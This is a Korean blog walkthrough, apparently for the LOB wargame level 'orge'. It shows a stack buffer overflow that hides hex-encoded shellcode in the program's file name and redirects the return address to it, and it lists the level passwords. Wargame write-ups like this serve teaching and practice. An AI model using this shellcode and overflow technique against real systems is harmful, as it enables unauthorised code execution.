cgy12306
[LOB] orge 본문
ID : orge
PW : timewalker
파일을 확인해 보자.
darkelf에서는 인자를 여러개 넘길 수 있었지만 이제는 인자를 두개밖에 넘기지 못한다.
그러면 파일명(argv[0], 첫번째 인자)에 어떠한 작업을 해야할 듯 하다.
./파일명 `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"
leave에 breakpoint를 걸고 실행해 보자.
버퍼와 인자를 비워주지만 파일명은 그대로 남아 있는 것을 볼 수 있다. 그러면 파일명을 쉘 코드로 바꿔주면 내부에서 쉘 코드가 실행될 것 같다.
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
를 포함하는 디렉토리를 생성해주고 앞뒤에 nop코드를 100개씩 넣어주자. 쉘코드에는 /(\x2f)가 들어가면 안된다고 한다.
저 경로를 이용해서 gdb를 실행해 보자.
다시 breakpoint를 leave에 걸어주고, "A"*44+"\xbf\xbf\xbf\xbf를 넣어주는 코드를 실행시켜보자.
코드가 잘 들어간 것을 볼 수 있다.
이제 ret에 넣어줄 주소를 보자.
쉘 코드가 들어간 부분이 보인다. 적당히 주소를 bffffb2c로 선택해서 코드를 작성하자.
쉘을 획득했다.
비밀번호는 aspirin이다.
'Wargame > LOB' 카테고리의 다른 글
[LOB] vampire (0) | 2019.07.19 |
---|---|
[LOB] troll (0) | 2019.07.16 |
[LOB] darkelf (0) | 2019.07.15 |
[LOB] wolfman (0) | 2019.07.15 |
[LOB] orc (0) | 2019.07.15 |